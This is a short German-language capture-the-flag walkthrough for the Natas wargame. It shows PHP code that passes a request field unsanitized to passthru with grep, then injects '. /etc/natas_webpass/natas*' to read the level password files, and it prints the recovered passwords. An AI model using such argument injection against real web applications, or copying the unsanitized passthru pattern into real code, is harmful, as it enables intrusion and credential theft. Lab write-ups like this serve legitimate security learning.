Aktualisiert am: 2022-08-03

Command Injection

Enumeration

Challenge

  • Der Inhalt des Textfeldes needle wird der Variable $key zugewiesen

     $key = "";
    
     if(array_key_exists("needle", $_REQUEST)) {
         $key = $_REQUEST["needle"];
     }
    
  • Die Parameter $key und dictionary.txt werden an grep übergeben

     if($key != "") {
         passthru("grep -i $key dictionary.txt");
     }
    
  • grep gibt die Zeilen der Datei dictionary.txt zurück, welche auf das Pattern $key passen

Exploitation

  • Das Regex Pattern . (beliebiges Zeichen) passt auf sämtliche Zeilen
  • Gemäss Syntax erlaubt grep mehrere Dateien zu übergeben

      grep [OPTION...] PATTERNS [FILE...]
    

Entsprechend ändern wir $key um (unter anderem) an das Kennwort von Natas10 zu gelangen

. /etc/natas_webpass/natas*
Output:
/etc/natas_webpass/natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
/etc/natas_webpass/natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
dictionary.txt:African
...